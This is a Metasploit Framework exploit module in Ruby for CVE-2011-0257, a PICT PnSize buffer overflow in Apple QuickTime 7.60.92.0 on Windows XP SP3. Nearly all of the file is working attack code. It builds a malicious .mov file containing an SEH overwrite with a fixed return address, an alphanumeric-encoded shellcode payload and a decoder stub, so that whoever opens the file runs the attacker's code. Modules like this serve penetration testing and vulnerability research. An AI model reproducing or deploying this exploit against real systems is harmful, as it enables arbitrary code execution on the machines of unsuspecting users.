##
# $Id: apple_quicktime_pnsize.rb 13691 2011-09-03 21:17:58Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apple QuickTime PICT PnSize Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0.
				When opening a .mov file containing a specially crafted PnSize value, an attacker
				may be able to execute arbitrary code. 
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 13691 $',
			'References'     =>
				[
					[ 'CVE', '2011-0257' ],
					[ 'BID', '49144' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "",
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'  =>  'True',
					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
					'EncoderOptions' =>
						{
							'BufferRegister' => 'ECX',
						},
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3', { 'Ret' => 0x672b6d4a } ], # QuickTime.qts 7.60.92.0
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Aug 8 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME',   [ false, 'The file name.',  'msf.mov' ]),
			], self.class)
	end

	def exploit

		trigger = rand_text_alpha_upper(3324)
		trigger[2302, 8]  = generate_seh_record(target.ret)
		trigger[2310, payload.encoded.size] = payload.encoded

		path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )
		fd = File.open(path, "rb" )
		sploit = fd.read(fd.stat.size)
		fd.close

		sploit << trigger

		file_create(sploit)
	end
end
__END__
http://mirrors.apple2.org.za/apple.cabi.net/Graphics/PICT.and_QT.INFO/PICT.file.format.TI.txt

Opcode   Name                       Description                  Data Size (in bytes)

$0007    PnSize                     pen size (point)             4
